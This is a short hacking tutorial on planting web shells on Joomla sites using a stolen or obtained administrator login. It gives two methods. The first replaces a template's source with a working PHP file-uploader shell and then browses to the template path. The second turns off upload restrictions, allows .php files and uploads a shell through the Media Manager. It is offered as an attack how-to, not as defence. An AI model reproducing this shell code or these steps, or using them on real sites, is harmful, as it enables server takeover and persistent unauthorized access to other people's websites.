How to Shell Joomla Sites

For this week's tutorial, we're gonna use two method of shelling Joomla sites in case one method doesn't work.
So let's get started.

First Method: Shelling Joomla sites using Templates.

Step1: Login into the Joomla administrator's admin panel.

Alright, once we're logged in, navigate to "Extensions" and click "Template manager"


Once you're there, you'll see a bunch of themes you can choose.
Choose any theme you would like to edit. I suggest you leave the default theme untouched.
Once you've chosen a theme, select it, and Click on Edit

Once you have clicked Edit, Click on "Edit HTML"


You'll see the source code and the path of the Template once you've clicked "Edit HTML".
Make sure to copy the "Path".

Now Erase the source code and replace it with:

Code:

<?php echo '<b><br><br>'.php_uname().'<br></b>'; echo '<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">'; echo '<input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form>'; if( $_POST['_upl'] == "Upload" ) { if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo '<b>Twitter: @zerofreakz</b><br><br>'; } else { echo '<b>Upload Sucess !!!</b><br><br>'; } } ?>

This is how it would look like:


Once you've done that, you shall navigate to your shell by using the path information they have given you.
So it'll be like:

Code:

http://site.com/templates/beez/index.php

It will look like this:

So that's how you're gonna upload a shell on a Joomla site using the "Templates" Method.

Method Number 2: Uploading a shell to the server directly

In this method, we're not gonna use any codes, instead, we'll find a way to upload the shell directly to the server.
So let's get started.

Step1: Click on Site and Click Global Configuration


Once you've done that, Click on System and Add "php,PHP,.php,.PHP" to the extension manager.
Then Click No from the "Restrict Uploads" Section.


Once that, Click Save and you're ready to upload a PHP file.

Now head on to the "Site" navigation bar and Click "Media Manager"


When you're there, go the image path once saw on the "Global Configuration" Settings which in this case, it was images/stories
Upload your shell using the uploader function:

Once your shell is uploaded, you can freely navigate to your shell.
Hope you enjoyed this tutorial.